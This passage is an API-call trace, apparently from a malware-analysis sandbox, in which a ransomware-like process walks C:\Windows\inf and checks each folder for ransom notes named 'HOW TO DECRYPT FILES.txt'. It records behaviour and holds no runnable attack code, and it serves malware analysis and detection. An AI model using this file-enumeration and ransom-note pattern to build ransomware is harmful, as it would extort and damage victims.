lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9212001d, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x9212001d, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x9212001d, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00y.PNF", cAlternateFileName="")) returned 1 [0130.492] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.492] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00y.PNF") returned -1 [0130.492] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00y.PNF") returned -1 [0130.492] lstrcmpiA (lpString1="", lpString2="prnca00y.PNF") returned -1 [0130.492] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00y.inf") returned="prnca00y.inf" [0130.492] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.492] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.492] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.492] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.493] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00y.PNF" | out: lpString1="C:\\Windows\\inf\\prnca00y.PNF") returned="C:\\Windows\\inf\\prnca00y.PNF" [0130.493] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c767fb0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c767fb0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c767fb0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x39f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00z.inf", cAlternateFileName="")) returned 1 [0130.493] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.493] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00z.inf") returned -1 [0130.493] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00z.inf") returned -1 [0130.493] lstrcmpiA (lpString1="", lpString2="prnca00z.inf") returned -1 [0130.493] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00y.PNF") returned="prnca00y.PNF" [0130.493] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.493] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.493] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.493] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.494] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00z.inf" | out: lpString1="C:\\Windows\\inf\\prnca00z.inf") returned="C:\\Windows\\inf\\prnca00z.inf" [0130.494] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x921de6fe, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x921de6fe, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x921de6fe, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnca00z.PNF", cAlternateFileName="")) returned 1 [0130.494] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.494] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnca00z.PNF") returned -1 [0130.494] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnca00z.PNF") returned -1 [0130.494] lstrcmpiA (lpString1="", lpString2="prnca00z.PNF") returned -1 [0130.494] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00z.inf") returned="prnca00z.inf" [0130.494] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.494] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.494] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.494] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.495] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnca00z.PNF" | out: lpString1="C:\\Windows\\inf\\prnca00z.PNF") returned="C:\\Windows\\inf\\prnca00z.PNF" [0130.495] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c78e111, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c78e111, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c78e111, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc14, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep002.inf", cAlternateFileName="")) returned 1 [0130.495] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.495] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnep002.inf") returned -1 [0130.495] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnep002.inf") returned -1 [0130.495] lstrcmpiA (lpString1="", lpString2="prnep002.inf") returned -1 [0130.495] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnca00z.PNF") returned="prnca00z.PNF" [0130.495] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.495] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.495] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.496] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.496] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep002.inf" | out: lpString1="C:\\Windows\\inf\\prnep002.inf") returned="C:\\Windows\\inf\\prnep002.inf" [0130.496] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8df37e84, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8df37e84, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8df37e84, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep002.PNF", cAlternateFileName="")) returned 1 [0130.496] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.496] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnep002.PNF") returned -1 [0130.496] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnep002.PNF") returned -1 [0130.496] lstrcmpiA (lpString1="", lpString2="prnep002.PNF") returned -1 [0130.496] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep002.inf") returned="prnep002.inf" [0130.496] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.496] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.497] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.497] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.497] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep002.PNF" | out: lpString1="C:\\Windows\\inf\\prnep002.PNF") returned="C:\\Windows\\inf\\prnep002.PNF" [0130.497] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c78e111, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c78e111, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c78e111, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xdd2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep003.inf", cAlternateFileName="")) returned 1 [0130.497] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.497] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnep003.inf") returned -1 [0130.497] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnep003.inf") returned -1 [0130.497] lstrcmpiA (lpString1="", lpString2="prnep003.inf") returned -1 [0130.497] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep002.PNF") returned="prnep002.PNF" [0130.497] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.498] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.498] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.498] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.498] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep003.inf" | out: lpString1="C:\\Windows\\inf\\prnep003.inf") returned="C:\\Windows\\inf\\prnep003.inf" [0130.498] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0dada7, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e0dada7, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e0dada7, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x93e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep003.PNF", cAlternateFileName="")) returned 1 [0130.498] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.498] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnep003.PNF") returned -1 [0130.498] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnep003.PNF") returned -1 [0130.498] lstrcmpiA (lpString1="", lpString2="prnep003.PNF") returned -1 [0130.498] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep003.inf") returned="prnep003.inf" [0130.499] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.499] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.499] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.499] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.499] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep003.PNF" | out: lpString1="C:\\Windows\\inf\\prnep003.PNF") returned="C:\\Windows\\inf\\prnep003.PNF" [0130.499] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c7da3d1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c7da3d1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c7da3d1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x4ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep004.inf", cAlternateFileName="")) returned 1 [0130.499] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.499] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnep004.inf") returned -1 [0130.499] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnep004.inf") returned -1 [0130.499] lstrcmpiA (lpString1="", lpString2="prnep004.inf") returned -1 [0130.500] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep003.PNF") returned="prnep003.PNF" [0130.500] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.500] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.500] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.500] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.500] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep004.inf" | out: lpString1="C:\\Windows\\inf\\prnep004.inf") returned="C:\\Windows\\inf\\prnep004.inf" [0130.500] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2f00eb, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e2f00eb, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e2f00eb, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x5238, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep004.PNF", cAlternateFileName="")) returned 1 [0130.500] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.500] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnep004.PNF") returned -1 [0130.500] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnep004.PNF") returned -1 [0130.500] lstrcmpiA (lpString1="", lpString2="prnep004.PNF") returned -1 [0130.500] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep004.inf") returned="prnep004.inf" [0130.500] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.501] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.501] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.501] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.501] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep004.PNF" | out: lpString1="C:\\Windows\\inf\\prnep004.PNF") returned="C:\\Windows\\inf\\prnep004.PNF" [0130.501] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c800531, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c800531, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c800531, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x920, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep005.inf", cAlternateFileName="")) returned 1 [0130.501] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.501] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnep005.inf") returned -1 [0130.501] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnep005.inf") returned -1 [0130.501] lstrcmpiA (lpString1="", lpString2="prnep005.inf") returned -1 [0130.501] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep004.PNF") returned="prnep004.PNF" [0130.501] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.501] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.502] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.502] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.502] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep005.inf" | out: lpString1="C:\\Windows\\inf\\prnep005.inf") returned="C:\\Windows\\inf\\prnep005.inf" [0130.502] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e49300e, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x8e49300e, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x8e49300e, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x1654, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep005.PNF", cAlternateFileName="")) returned 1 [0130.502] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.502] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="prnep005.PNF") returned -1 [0130.502] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="prnep005.PNF") returned -1 [0130.502] lstrcmpiA (lpString1="", lpString2="prnep005.PNF") returned -1 [0130.502] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep005.inf") returned="prnep005.inf" [0130.502] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.502] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.502] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.503] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.503] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep005.PNF" | out: lpString1="C:\\Windows\\inf\\prnep005.PNF") returned="C:\\Windows\\inf\\prnep005.PNF" [0130.503] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c800531, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c800531, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c800531, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x4a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00a.inf", cAlternateFileName="")) returned 1 [0130.503] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.503] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep005.PNF") returned="prnep005.PNF" [0130.503] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.503] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.503] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.504] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.504] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00a.inf" | out: lpString1="C:\\Windows\\inf\\prnep00a.inf") returned="C:\\Windows\\inf\\prnep00a.inf" [0130.504] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915130a7, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x915130a7, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x915130a7, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x5138, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00a.PNF", cAlternateFileName="")) returned 1 [0130.504] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.504] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00a.inf") returned="prnep00a.inf" [0130.504] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.504] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.505] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.505] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 [0130.505] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="prnep00a.PNF" | out: lpString1="C:\\Windows\\inf\\prnep00a.PNF") returned="C:\\Windows\\inf\\prnep00a.PNF" [0130.505] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c826692, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6c826692, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6c826692, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="prnep00b.inf", cAlternateFileName="")) returned 1 [0130.505] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0130.505] PathFindFileNameA (pszPath="C:\\Windows\\inf\\prnep00a.PNF") returned="prnep00a.PNF" [0130.505] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\inf\\" | out: lpString1="C:\\Windows\\inf\\") returned="C:\\Windows\\inf\\" [0130.506] PathAddBackslashA (in: pszPath="C:\\Windows\\inf\\" | out: pszPath="C:\\Windows\\inf\\") returned="" [0130.506] lstrcatA (in: lpString1="C:\\Windows\\inf\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" [0130.506] GetFileAttributesA (lpFileName="C:\\Windows\\inf\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\inf\\how to decrypt files.txt")) returned 0x20 